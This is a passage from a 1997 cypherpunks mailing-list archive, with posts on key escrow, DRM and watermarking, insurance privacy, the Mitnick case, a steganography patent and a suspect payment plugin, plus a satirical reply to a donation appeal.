Subject: Re: [RePol] Donations Received
From: TruthMonger <tm@dev.null>
Date: Wed, 05 Nov 1997 22:24:00 -0600
Organization: "It's not FUD until *I* say it's FUD!"
References: <3.0.3.32.19971105220233.03538154@rboc.net>
Reply-To: tm@dev.null

::
Anon-To: cypherpunks@toad.com

Robert A. Costner wrote:
> 
> This week Electronic Frontiers Georgia (EFGA) found donations in our
> mailbox for the first time.  I'd like to thank those of you who have sent
> us your support.  As you know, EFGA has no endowment or source of income.

  I was rather surprised when I received a plea for donations from these
people via my subscription to a suicide survivors mailing list. Likewise
when my 10 year old daughter mentioned receiving one through her 4H Club
mailing list.
  Upon asking others at work, I found that these people have been
sending
their requests to millions of people, through every conceivable internet
forum, and that quite a few of the recipients had been taken in, and
sent
them donations.

  In the interests of stopping this obvious scam, I have founded a group
dedicated to wiping out this kind of fraud on the internet, starting
with
the scum at the EFGA.
  If you are interested in contributing to our effort, send donations
to:
	Electronic Fraud Fighters (EFF)
	Box 281,
	Bienfait, Saskatchewan
	  CANADA   S0C 0M0
or email me at:
TruthMistress <tm@dev.null>

> If we raise $2,000 we will be getting a new
> server.  If we raise $900, we will be doing upgrades on the current machine.

> The address again is
> 
>         Electronic Frontiers Georgia
>         Suite A-205
>         4780 Ashford Dunwoody Road
>         Atlanta, GA 30338
> 
> For membership info, http://www.efga.org/about/membership.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Fri, 7 Nov 1997 01:24:48 +0800
To: jmayorga@netscape.com
Subject: Re: Is mixmaster dead?
In-Reply-To: <34611D52.922EC6CE@netscape.com>
Message-ID: <9711061703.AA53960@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain



> Funny, I get a:
> 
> File Not found

The page is back online now <URL: http://www.thur.de/ulf/mix/>.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Fri, 7 Nov 1997 03:03:17 +0800
To: John Young <cypherpunks@cyberpass.net>
Subject: Re: Mitnick Rings Bell
In-Reply-To: <1.5.4.32.19971106122235.00a31158@pop.pipeline.com>
Message-ID: <19971106.183435.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    the assholes missed the point...

on or about 971106:0722, in 

>6 November 1997, Digital Cellular Report:
>
>U.S.  government takes hard line on Mitnick.  
>US Hacker Pleads for Help
>
>A US 'hacker'- Kevin David Mitnick - has issued a plea
>for financial help to fight his defence case through
>his lawyer, Donald C Randolph of Santa Monica,
>
>USA.  Through Randolph, Mitnick is claiming that the
>US government is seeking to make an example of him for
>the possession of unauthorised cellular access codes.
>The issue is particularly important in the North
>American market where analogue, rather than digital
>cellular, is the norm.
>
>In one of the most amazing claims, Mitnick claims to
>have been kept in solitary confinement for 23 hours a
>day, naked in a freezing air-conditioned cell for
>eight months and led to the showers in chains.
>
    anybody who thinks that does not happen in Federal
    prisons has their eyes closed.  the only light is
    through the observation port, and a 4 in. hole in
    the floor is provided for defecation, etc. the one
    hour per day is for exercise and the every other 
    day shower. cell space requirement: 49 sq. ft.

    the feds will not permit the states this torture,
    but that does not stop the BOP...

>Perhaps the most puzzling aspect to the whole case is
>the fact that while the US government has never sought
>to prove that Mitnick profited from his 'hacking'
>activities - although he could certainly have done so
>by 'selling' stolen airtime to third parties.  Instead
>they claim he caused losses in excess of $80 million.
>
    easier to charge losses for what he used and/or
    blocked

>Kevin certainly appears to be paying the price for his
>nefarious deeds having already spent nearly two years
>in custody during which time he has been prohibited
>from any access to wireless communications equipment,
>computer hardware or computer software.
>
    well, what do you expect? something of value?

>It's difficult to know exactly which side is the more
>paranoid since Mitnick is claiming that his fate is
>part of a deliberate US government plot to divert
>scrutiny away from its plans concerning the control
>and regulation of both telecommunications and the
>Internet.
>
    must be a cypherpunk candidate; we know they're
    trying to take over.  

>The case would seem to present a most powerful
>argument for the US to switch more swiftly over to
>digital cellular where 'hacking' is far more
>difficult.  
>
    sure...

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNGIRg7R8UA6T6u61AQHiOwH/YCXytl6HUt4yqOn+9xJhBSRB1wdygg85
FUTb2uG34SGzBxtLGClnv9PysmVcEYuJNYIXcdq+AuubW8qNG528zw==
=4L+D
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 7 Nov 1997 08:39:43 +0800
To: cryptography@c2.net
Subject: Re: Hughes Markets? (Was Re: Copyright commerce and the street	musician protocol)
Message-ID: <v0311073fb08806bd261a@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: hutchinson@click.ncri.com
Mime-Version: 1.0
Date: Thu, 6 Nov 1997 14:52:30 -0500
To: Robert Hettinga <rah@shipwright.com>
From: hutchinson@ncri.com (Art Hutchinson)
Subject: Re: Hughes Markets? (Was Re: Copyright commerce and the street
musician protocol)
Cc: dcsb@ai.mit.edu
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: hutchinson@ncri.com (Art Hutchinson)

Robert Hettinga wrote:

>A whole bunch of people are now talking about these cash-settled recursive
>auction processes, and they're a direct, and now obvious, consequence of
>bearer (or at least instant) settlement markets for information on geodesic
>networks. When you add anonymity to the transaction, you pretty much have
>the final straw for "rights" tracking. Watermarks just tell you who the
>information was stolen from, for instance. So, one more industrial
>information process bites the dust.

Whoa!  Hang on here.  Sure, watermarks will tell you who information
was stolen from, but they're just a stalking horse... a weak second cousin
to *persistent* content control technologies (such as IBM's Cryptolopes
and Intertrust's Digiboxes).  These allow rightsholders to manage a wide
range of parameters (including price, usage context, and any other variable
for which you can imagine having a certificate).  Whats fundamentally
different about what are generically referred to as secure envelopes, is
that they can maintain controls *indefinitely* (persistence), across an un-
known, ad hoc, web of distribution over which one otherwise has no
control.  And yes, this can all work even in a completely disconnected
environment (laptop at 35,000 feet).

They allow rightsholders, if they so choose, to *continue* being rights-
holders in a highly networked, digital world, and in a wide range of new
ways, based on entirely new (or old) business models, that take advantage
of rich/elaborate conditions for usage (e.g. you can view this picture
anonymously, but it will cost you 2X as much, and you can only get it at
low resolution, and you can't view it at all unless you can prove that you
don't live in the Middle East).  No certificate for these conditions?
Sorry, no content.

They are based the same basic stuff (public key cryptography of course)
that *can* fuel wild anarchic visions of anonymous exchange.  ;)

But they aren't at all deterministic of any particular economic model.

Regards,

- Art

Art Hutchinson                                       hutchinson@ncri.com
Northeast Consulting Resources, Inc.     phone: (617) 654-0635
One Liberty Square                                 fax: (617) 654-0654
Boston, MA 02160                                 www.ncri.com
------------------------------------------------------------------------------
"Working at the intersection of business and IT strategy to
help organizations embrace electronic commerce opportunities"



For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 7 Nov 1997 02:52:34 +0800
To: adam@homeport.org
Subject: Re: Protocols for Insurance to Maintain Privacy
In-Reply-To: <199711061032.FAA08872@homeport.org>
Message-ID: <199711061844.SAA05867@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Adam Shostack <adam@homeport.org> writes:
> Many insurance companies with Mutual in their name (Liberty Mutual is
> large in the Northeastern US) get that from being founded as mutual
> insurance companies, where you pay to be part of the mutual insurance
> group, and when you get sick, injured, etc, the group pays money
> towords your treatment.  I think it broke down with increases in
> mobility.  They were implicitly based on reputation capital, and were
> not highly fraud resistant.
> 
> Adam's suggestion of a charity which only pays for the treatment of
> those who donate thus recreates an old system.

Saying that it would be a charity is just a statement of reality.
There exist no methods to insure when there is a near certainty of a
payout being required, as I think we all agree (Tim, Adam, Jon).

To call it anything other than charity is misleading, so I am really
just arguing for honesty in advertising.  (Something socialists are
not big on :-)

An insurance company would probably find customers and hope to make a
profit by offering a mutual fund, or charitable donation service.
There would be an agreement as to who could claim, and what types of
illness were covered, maximum payouts etc.  Then the business would
use the funds (minus it's profit margin) to pay for those treatments
affordable within the current funds.

This means that as funds may be limited that some people will go
untreated, if their treatments are too expensive and funds are short.
Efficient usage of funds is expected -- if it costs $1m to fix up some
old guy to live for a couple more years as opposed to giving cheaper
treatments to several younger people, well the old guy gets to die.

This might seem heartless to socialist types, but this kind of
decision gets made all the time by medics, who don't have unlimited
funds even in socialist countries.  In the UK some practices are funds
holding, which means that they get to manage their own money, they get
to decide which drugs to use, and who to give them to, and they get to
use profits (or more correctly surplus government grants) in certain
ways (equipment, etc).  (Or they did, Labour were threatening to
confiscate these surpluses).  I talk to medics a bit, as I am into
medical messaging security, and some of the people are bilingual
medics and medical informatics people.  Examples are drugs which are
3% more effective but cost 5x the price.  These kinds of optimisation
of available resources problems are all over the place in medicine,
and doctors balance these within budgets.

Another example is that doctors are able to tell smokers with lung
cancer who refuse to stop smoking that they will not treat them.  Or
switch off life support machines if it looks pretty hopeless, and is
costing a fortune to keep a half-alive person ticking over.

The failure with mutual funds is that people will attempt to start
donating once they realise they have some big medical bills coming (if
only donators get payouts).  To combat this the company might perhaps
have a policy of not paying out within 5 years of the first donation.
Then you'll have the counter attack of people re-selling proof of
donation receipts.  And then the company can counter that with a hash
of DNA code mixed in to the donation receipt such that only with the
patients consent can the receipt be used to link to him. 

The key point is the choice.  Many companies, many choices, freedom to
donate or not, or to stipulate terms of donation (eg., not to fund
lung cancer treatment for smokers).

It seems to me that people are on average more generous and charitable
than socialists would have us believe also.  For example a charity to
support people who had no insurance, or hit the maximum payout on
their insurance might get donations.  Perhaps even enough donations
that it would cover most cases.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 7 Nov 1997 08:39:06 +0800
To: cypherpunks@cyberpass.net
Subject: new lanl patent?
Message-ID: <v0311074ab0880af8248c@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Authentication-Warning: blacklodge.c2.net: majordom set sender to
owner-cryptography@c2.org using -f
From: proff@iq.org
Date: 6 Nov 1997 06:35:37 -0000
To: cryptography@c2.net
Subject: new lanl patent?
Sender: owner-cryptography@c2.net


From: "Jongsma, Ken (NM75)" <ken.jongsma@das.honeywell.com>
Date: 24 Oct 1997 10:32:24 -0600
Subject: Hiding In Plain Sight

from the Oct 20 Aviation Week:

"Researchers at Los ALimos National Laboratory have patented a new
software technique that can hide secret information in the electronic
"noise" associated with the transmission of data and electronic
images.  Called "data embedding," the method allows classified data to
be stored and transferred in open transmissions and can serve as an
"electronic watermark" to prevent unauthorized manipulation of digital
images and other information, according to Ted Handel, project leader.
The software can be used on a desktop personal computer and consumes
only 512 kilobytes of memory, less than most word processing programs.
It is written in "C" computer language which conforms to virtually any
digital storage medium. Overall document length can remain the same."

Aside from the obvious errors in the story, do you suppose that someone
ought to clue the patent office in that steganography has existed for
quite a while now? If anyone would like to research the patent and
report back, it would be interesting to see what is so unique that the
could get a patent on it.

--
ken.jongsma@das.honeywell.com
505 828-5876 Voice
505 828-5500 Fax

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 7 Nov 1997 09:43:42 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Hughes Markets? (Was Re: Copyright commerce and the street	 musician protocol)
In-Reply-To: <v0311073fb08806bd261a@[139.167.130.248]>
Message-ID: <199711070123.UAA26060@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v0311073fb08806bd261a@[139.167.130.248]>, on 11/06/97 
   at 06:44 PM, Robert Hettinga <rah@shipwright.com> said:

>--- begin forwarded text


>X-Sender: hutchinson@click.ncri.com
>Mime-Version: 1.0
>Date: Thu, 6 Nov 1997 14:52:30 -0500
>To: Robert Hettinga <rah@shipwright.com>
>From: hutchinson@ncri.com (Art Hutchinson)
>Subject: Re: Hughes Markets? (Was Re: Copyright commerce and the street
>musician protocol)
>Cc: dcsb@ai.mit.edu
>Sender: bounce-dcsb@ai.mit.edu
>Precedence: bulk
>Reply-To: hutchinson@ncri.com (Art Hutchinson)

>Robert Hettinga wrote:

>>A whole bunch of people are now talking about these cash-settled recursive
>>auction processes, and they're a direct, and now obvious, consequence of
>>bearer (or at least instant) settlement markets for information on geodesic
>>networks. When you add anonymity to the transaction, you pretty much have
>>the final straw for "rights" tracking. Watermarks just tell you who the
>>information was stolen from, for instance. So, one more industrial
>>information process bites the dust.

>Whoa!  Hang on here.  Sure, watermarks will tell you who information was
>stolen from, but they're just a stalking horse... a weak second cousin to
>*persistent* content control technologies (such as IBM's Cryptolopes and
>Intertrust's Digiboxes).  These allow rightsholders to manage a wide
>range of parameters (including price, usage context, and any other
>variable for which you can imagine having a certificate).  Whats
>fundamentally different about what are generically referred to as secure
>envelopes, is that they can maintain controls *indefinitely*
>(persistence), across an un-
>known, ad hoc, web of distribution over which one otherwise has no
>control.  And yes, this can all work even in a completely disconnected
>environment (laptop at 35,000 feet).

>They allow rightsholders, if they so choose, to *continue* being rights-
>holders in a highly networked, digital world, and in a wide range of new
>ways, based on entirely new (or old) business models, that take advantage
>of rich/elaborate conditions for usage (e.g. you can view this picture
>anonymously, but it will cost you 2X as much, and you can only get it at
>low resolution, and you can't view it at all unless you can prove that
>you don't live in the Middle East).  No certificate for these conditions?
>Sorry, no content.

>They are based the same basic stuff (public key cryptography of course)
>that *can* fuel wild anarchic visions of anonymous exchange.  ;)

>But they aren't at all deterministic of any particular economic model.

Well how exactly does one prevent data from being stolen once it has been
unlocked? I pay my 2X to view the picture anonymously and now I copy it
save it and distribute it worldwide. I fail to see how any
encryption/watermark scheme can prevent me from doing so.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNGJtMI9Co1n+aLhhAQGFlAQAokcnZwm0n4yfPfKge6oJD01xU2OgwAAG
ewQpeRZZWBvo86OgYEH9cNOX8JnGodmA70KeRNeyK1MeZl62RFj76IrPZkCCCB9w
42g9Y9AKevmKC+mVWhW7Q1IaidRs6nCj/uIzCtPwS/dIwdISE9bTyAbZIXV1xEOz
hboWKKX/fXM=
=Hoo8
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 7 Nov 1997 03:42:45 +0800
To: 0005514706@MCIMAIL.COM
Subject: Re: Govt. key escrow justification
In-Reply-To: <01IPP6D87B5YAR2N18@DGN0IG.mcimail.com>
Message-ID: <199711061927.TAA06387@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




This is scary stuff... Clipper VI (or whatever number we're up to) in
the making.  Expect a fresh onslaught of government master key
attempts from the US government based on this info war initiative.

Michael Wilson <0005514706@MCIMAIL.COM> forwards:
>    "Key recovery is needed to provide business access to data when
>    encryption keys are lost or maliciously misplaced, 

Where they pervert commercial key recovery to mean central government
master access.  Nasty lies expertly spin-doctored.

>    and court-authorized
>    law enforcement access to the plain text of criminal related
>    communications and data lawfully seized," the report said.

Where criminals who rate the expense of wiretaps will be using pgp2.x
downloaded from Russia, or where ever.  More spin doctoring.

>    In its formal recommendations, the commission urged the government to
>    speed up pilot programs on key recovery, promote efforts to plan for
>    implementing large-scale key recovery systems and encourage
>    private-sector key recovery efforts.

And there it is, they now want to encourage private sector key
recovery.  Now why would they want to do that, if they don't plan to
use it as an infrastructure.

>      WASHINGTON The head of a presidential commission on cyber-terrorism
>      on Wednesday told a Senate panel that a mandatory system guaranteeing
>      third-party access to scrambled computer communications may be
>      necessary if industry does not embrace the Clinton administration's
>      plan for a voluntary encryption decoding system.

And there so soon we have another repetition of Freeh's comments about
mandatory being necessary.

>      But the key to national security, Marsh said, is strong encryption
>      coupled with a back-door access for law enforcement officials to
>      sensitive communications.

I don't buy this at all.  For an infrastructure attack you're worried
about pervasive problems in case someone tries to bring down the whole
system.  Building central control in _anything_ is asking for trouble
in info war terms.  Everything should be as distributed as possible,
to minimise scope of an attacker who compromises keys.

Law enforcement with the master keys to the whole country is a huge
risk.  Some law enforcement key custodian will simply be bribed or
coerced for the key, and then they really will have an info war risk.

>      "We want to see that adopted over all the critical control functions
>      at an early date," he told the Senate Judiciary Committee's
>      Subcommittee on Technology, Terrorism and Government Information.

They want to fast track mandatory government access also.

>      He told the panel that "we must lower the temperature of the
>      encryption debate" long enough to complete pilot projects on key
>      recovery that will prove to industry that such systems can work.

A dangerous climate to be building any recovery systems in, however
carefully constructed to reduce risks.  I am having doubts about the
safety of working on even about anything but the most ad-hoc local
recovery at this point.

>      Various agencies of the federal government currently are developing
>      13 key recovery pilot projects, which were on display Wednesday at a
>      Government Information Technology Services conference. Marsh said the
>      National Security Agency and the National Institutes for Standards
>      and Technology should head efforts to perfect those systems and set
>      standards for a national infrastructure protection office to carry
>      out.

Really gunning for it this time.  13 recovery pilots, NIST and NSA
involvement, standards setting.

>      Asked by the subcommittee's chairman, Jon Kyl, an Arizona Republican,
>      if those controls should be mandated, Marsh responded: "We think
>      businessmen will find it in their best interest to incorporate these
>      controls. ... Of course, in due time, that may be an option if they
>      are not willing to accept them."

That's a new one... give us master key access now, and we'll think
about allowing exceptions at some point in the future.

>      "Significant questions have been raised by leading cryptographers
>      about the security risks inherent in large-scale key recovery
>      systems, which introduce new vulnerabilities and targets for attack,
>      as well as about the costs and feasibility of implementing such
>      systems."

The main problem is the security and risk of government abuse.  I'm
not that sure cost or feasibility is a problem.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 7 Nov 1997 09:01:50 +0800
To: cypherpunks@toad.com
Subject: Jam Six
Message-ID: <3cb9eaf89bf7d6a74d1cecf63b5b5860@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Jam Six

Six





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Fri, 7 Nov 1997 10:37:03 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Protocols for Insurance to Maintain Privacy
In-Reply-To: <v03102803b0879c165aec@[207.167.93.63]>
Message-ID: <Pine.BSF.3.91.971106194907.2054B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




No, you die on your 30th birthday, when you ride the carrousel.

The insurance plan would only work if there was a significantly less than 
one-in-a-million chance of having the disease. Otherwise, the cost will 
be more than one dollar. The rates would be lower if you buy your policy 
well in advance, since the disease never strikes before you are 30 - 
there's money to be made on holding your premium, and you jsut might die 
of something else before requiring treatment.

As Tim pointed out, however, if you can be tested prior to obtaining the
insurance, without admitting to it, you would not obtain the insurance
unless the test showed that you had the disease. The price of the policy
would therefore be $1,000,000 or so, with minor adjustments. 

-r.w.

On Thu, 6 Nov 1997, Tim May wrote:

> At 5:03 PM -0700 11/5/97, Adam Back wrote:
> >John Kelsey <kelsey@plnet.net> writes:
> >> Suppose there is some genetic disease that kills its victims on
> >> their 31st birthday, unless they get a $1,000,000 treatment first.
> >> Before I have taken the test for this disease, I have to accept a
> >> certain risk--if I find out I have the disease, I have to raise a
> >> million dollars in the next few months.  After I have taken the test
> >> and gotten back the results, there's no more risk involved (assuming
> >> the test is perfect)--I either have the disease or I don't.
> 
> I want to say one more thing about the example John Kelsey cites here.
> 
> That million dollar disease example is not too compelling to me. For
> starters, there are literally hundreds of millions of persons on the planet
> who are expected to die from various diseases or nutritional deficiencies
> for lack of, not a million dollar treatment, not a $100,000 treatment, not
> even a $1000 treatment...
> 
> No, there are billions who will die early (in childhood, early youth, etc.)
> for want of treatments or supplements costing a few hundred dollars.
> 
> Not that I support forcibly extorting money from those who have it to give
> to these wretches.
> 
> Which means I can honestly tell the "million dollar disease" guy: "I hope
> you saved up a million dollars."
> 
> >> Before the test, though, insurance might be useful--I could
> >> essentially place a bet with someone that I had the disease--I pay
> >> $1, and get a million dollars back if my test comes back
> >> positive--just enough to pay for my treatment.
> >
> >The insurance company would have no financial incentive to take on
> >such risks -- I reckon they'd sooner let the wanna-be customer die.
> >Nasty, but it's reality.
> 
> And underwriters do this all the time. That is, they fine-tune their
> estimates of risks and adjust premiums accordingly.
> 
> If Joe Patient makes a bet on this million dollar disease, but won't let me
> see any test reports, or won't let me test him independently, I as an
> undewriter am going to make the assumption he knows something I don't know.
> And his premium is going to go way, way up.
> 
> --Tim May
> 
> 
> The Feds have shown their hand: they want a ban on domestic cryptography
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^2,976,221   | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Fri, 7 Nov 1997 10:46:09 +0800
To: Anonymous <anon@anon.efga.org>
Subject: Re: Protocols for Insurance to Maintain Privacy
In-Reply-To: <03fc89ba5c3283279c439ca450c74fc1@anon.efga.org>
Message-ID: <Pine.BSF.3.91.971106200322.2054C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Thu, 6 Nov 1997, Anonymous wrote:

> Two ways to tell if the person has had the test:
> 
> A) The company performing the test keeps track of everyone who has had it.
> This could be by some biometric ID, perhaps even a DNA fingerprint.
> 
> B) The company performing the test marks people who have had it.  They
> could have a harmless radioactive tracer injected.  This would degrade
> after a while but it could be used to see if the test had been taken
> within some time interval.

Something on your palm changes color.

> 
> Both of these require that all companies able to issue the test cooperate
> and that there is no black market source of testing.
> 
> 

For $1,000,000 a pop, there WILL be a black market.

The best "black market" scam would be set up by the insurer, to 
surreptitiously determine who not to insure. YOU think you're getting 
tested on the sly, and you are actually paying extra to compromise your 
insurability.

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lindsay Haisley <fmouse@fmp.com>
Date: Fri, 7 Nov 1997 12:54:57 +0800
To: cypherpunks@ssz.com
Subject: plugin to sell digital files in cyberspace announced!! (fwd)
Message-ID: <3.0.3.32.19971106223930.00914ae0@linux.fmp.com>
MIME-Version: 1.0
Content-Type: text/plain



>wow, I have been thinking that netscape/microsoft would put
>something like this in their browser and that this would
>kickstart the microcurrency market. however, it sounds like
>someone has preempted them for the moment and
>built a plugin. this is an extremely significant development
>imho. I don't know how credible they are (the notice was
>spam) but it's a step in the right direction, and the
>creation of a whole new market I predict.

I looked at their website and it looks rather fishy to me.  Several issues
and questions are obvious, not the least being the observation that this is
an absolutely fabulous way to collect a bunch of credit card numbers.
There is no information on the website to say where I-Vendor is located, or
any way to judge whether it's even a legit company.  The website is on AOL,
so it's real ownership is effectivley concealed, and the owners could be
over the border into Mexico with a hard drive full of stolen CC numbers and
no one would be the wiser until it was too late :-(  

A legit domain name and website to use it on are pretty cheap, and make
obvious business sense for a legit business - likewise for a phone number,
which is also absent from the web pages.  Both provide business points of
contact and both provide trackability.  Maybe I-Vendor doesn't want
trackability.  Hmmmm.

So I download an exe file from a nearly anonymous site on AOL and run it to
find out more about it?  No thanks!!!  It looks too much like a juicy worm
on a hook to this fish.

Lindsay Haisley                   (______)
FMP Computer Services               (oo)        "The bull 
fmouse@fmp.com                /------\/            stops here!"
Austin, Texas, USA           / |    ||  
512-259-1190                *  ||---||             * * * * * *
                               ~~   ~~        http://www.fmp.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 7 Nov 1997 06:08:35 +0800
To: cypherpunks@toad.com
Subject: Re: Govt. key escrow justification
Message-ID: <199711062145.WAA28195@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back wrote:
> This is scary stuff... Clipper VI (or whatever number we're up to) in
> the making.  Expect a fresh onslaught of government master key
> attempts from the US government based on this info war initiative.
 
> Michael Wilson <0005514706@MCIMAIL.COM> forwards:
> >    In its formal recommendations, the commission urged the government to
> >    speed up pilot programs on key recovery, promote efforts to plan for
> >    implementing large-scale key recovery systems and encourage
> >    private-sector key recovery efforts.

> And there it is, they now want to encourage private sector key
> recovery.  Now why would they want to do that, if they don't plan to
> use it as an infrastructure.
> Building central control in _anything_ is asking for trouble
> in info war terms.  Everything should be as distributed as possible,
> to minimise scope of an attacker who compromises keys.

  InfoWar goes on all the time amongst the Heavy Hitters in governement
and commerce. It's called politics and money.

Scenario I:
  Bill Gate$ reads an article where US Federal LEA's are bragging to
insider politicians about their history of using their snooping and
InfoWar capacities to financially disrupt 'bad' governments and
corporations. Bill Gate$ then hands his company's secret keys over
to the government because he trusts them to settle their dispute
with him in court, instead of just 'grabbing' his money via his
secret keys.

Scenario II:
  Bill Gate$ gives his company's secret keys to Lucky Green, who runs
toward the site of the Cypherpunks physical meeting, shouting, "Party
time! Party time!" BillyG walks back to the limo, muttering, "That
Lucky sure has a good sense of humor...I hope!"

> Law enforcement with the master keys to the whole country is a huge
> risk.  Some law enforcement key custodian will simply be bribed or
> coerced for the key, and then they really will have an info war risk.

  The only thing security levels do is determine the end cost of 
compromising security. Do you have to bribe/coerce a janitor or an
executive?

> >      Asked by the subcommittee's chairman, Jon Kyl, an Arizona Republican,
> >      if those controls should be mandated, Marsh responded: "We think
> >      businessmen will find it in their best interest to incorporate these
> >      controls. ... Of course, in due time, that may be an option if they
> >      are not willing to accept them."

  Voluntary-Mandatory == Volmundatory ?  

  GAK, GMR, ATP (Access to Toilet Plungers)...Cookies, Identity
Tracking...
  What is going on is quite simply a battle for access to information.
  InoWar!

  Everybody wants access to the information of others, and to deny 
others access to their own information.
  Information is power, and power is kept by keeping the keys to that
information.

  Corporations want to play footsie with the Government when it comes to
getting access to all information and communications that pass through
the self-defined borders of the Corporate Electromagnetic Curtain, but
want to avoid being subject to total control within the borders of the
Government's own self-defined ElectroMagnetic Curtain.

  The issues of power and control are the same as they have always been,
but the Battle of the Bulge is now the Battle of the Byte.
  Government, Corporations, Organizations, Individuals...the players
will be the same as in MeatSpace, and so will the issues and underlying
concepts and ideals.
  Those seeking power and control will use the same tried-and-true
methods, such as Divide and Conquer. "We don't want no 'nigger' data
passing through our website. <---> We don't want no 'racist' data
passing through our website."
  Chorus: <everybody sings together> "THERE OUGHT TO BE A LAW!"

  The Government wants to seize contol of ElectroMagnetic Reality by
appointing themselves as our Electronic Protectors.
  Corporations are fighting to use the new technologies to protect
themselves, cutting the Government out of the power loop. Individuals
_should_ be trying to do the same.
  Government has declared Crypto munitions for the same reason they
increasingly declare Guns to be 'government-munitions'. Those who 
have no power to protect themselves are vulnerable to those who have
_reserved_ that power for themselves.

  Crypto or Guns...it's all about power and control of CyberSpace and
MeatSpace.

MunitionsMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Young <eay@cryptsoft.com>
Date: Thu, 6 Nov 1997 22:02:19 +0800
To: Jyri Kaljundi <jk@stallion.ee>
Subject: Re: SSL Browser info
In-Reply-To: <Pine.GSO.3.95.971106130526.15882G-100000@nebula>
Message-ID: <Pine.GSO.3.96.971106233321.905P-100000@pandora.cryptsoft.com>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 6 Nov 1997, Jyri Kaljundi wrote:
> On Thu, 6 Nov 1997, Gary Howland wrote:
> > 	http://www.hotlava.com/demos/ssl-query.html
> > which displays the SSL version and cipher types of your browser.
